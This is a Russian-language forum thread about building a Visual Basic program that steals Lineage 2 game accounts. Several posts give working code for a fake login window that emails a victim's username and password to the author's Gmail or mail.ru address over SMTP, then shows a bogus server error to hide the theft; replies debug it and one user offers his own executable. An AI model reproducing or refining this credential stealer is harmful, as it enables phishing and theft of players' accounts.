[Lineage2-паблик] Как сделать программу для кражи аккаунтов l2(Visual Basic)

[Mayword]

Цитата: Сообщение от Максим142 [Ссылки могут видеть только зарегистрированные пользователи. ] я не могу понять я вот у себя проверяю у меня все работает программка и на почту все приходит а как тока кому то скину так сразу у того типа выходит ошибка и не чё не отправляется посмотрите я картинку дал и помогите пожалуйста Добавлено через 2 часа 7 минут [Ссылки могут видеть только зарегистрированные пользователи. ] вот я сделал программку эту у меня все работает и на почту все приходит а когда скидываю кому то то у того человека не работает ошибку выдает в сому программку у него то заходит он данные заполняет нажимает чтоб отправить и ошибка.... я вон кину картинку посмотрите помогите пожалуйста!!!!!

У всех у кого подобная ошибка нужно сделать такую вешь

 If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
        Else
        End If
        End if
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Ваш Gmail", "Ваш Gmail Пароль")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("ВАШЬ Е-МЕИЛ УКАЗАННЫЙ ВЫШЕ")
        mail.To.Add("ВАШЬ Е-МЕИЛ УКАЗАННЫЙ ВЫШЕ")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
        smtpServer.Send(mail)
        MsgBox("Disconnected From Server, Please try again later!")

[Treals]

Все работает... Просто руки прямые надо иметь... Код полностью рабочий тока надо подправить кое что в начале
сделанно под mail.ru написан был в VS 2010

Цитата: If TextBox1.Text = "" Then MsgBox("Username Is Missing") If TextBox2.Text = "" Then MsgBox("Password Is Mising") Else End If End If Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("Мыло, "Пароль") smtpServer.Port = 587 smtpServer.Host = "smtp.mail.ru" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("Ваше мыло") mail.To.Add("Ваше мыло") mail.Subject = "Тема сообщения" mail.Body = "Логин : " & TextBox1.Text & ", " & "Пароль : " & TextBox2.Text smtpServer.Send(mail) MsgBox("Сообщение которое выскакивает")

[KapaTe]

Мда все в паряде. Но все же угнетает тупость некоторых юзеров.... Фишку с логин и паролем zhyk уже каждое ШКОЛОЛО знает и не к чему ето, так что уже не актуально + Напишите вам под асю БЛЕ@Ть люди ! Научитесь юзать google Да и не так трудно подучить хатябы в этом напровлении VBs. Ленивые нынче люди пошли все падаи им на блюдечке с голубой каемочкой. Лично я не учил нехфига собирал в блокноте первые скрипты из кусочков тово что я нашел в поиске. Попробуите может и у вас мозг не сухарь Автору зачет

Поглядите мою "примитивную версию" мб каму понравится.
(З.Ы. Ето екзешник сотрите .rar)

[Mayword]

Попробуй прописать одинаковые мейлы,


smtpServer.Credentials = New Net.NetworkCredential("Ваш Gmail", "Ваш Gmail Пароль")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")

[Justifity]

А если на сервере при входе не "ID" и "Password", "Login in" и "Exit", а другое?
Нужно все равно оставить как в примере, или как при входе?
Извините если не увидел

[enot221]

тема 2010 года...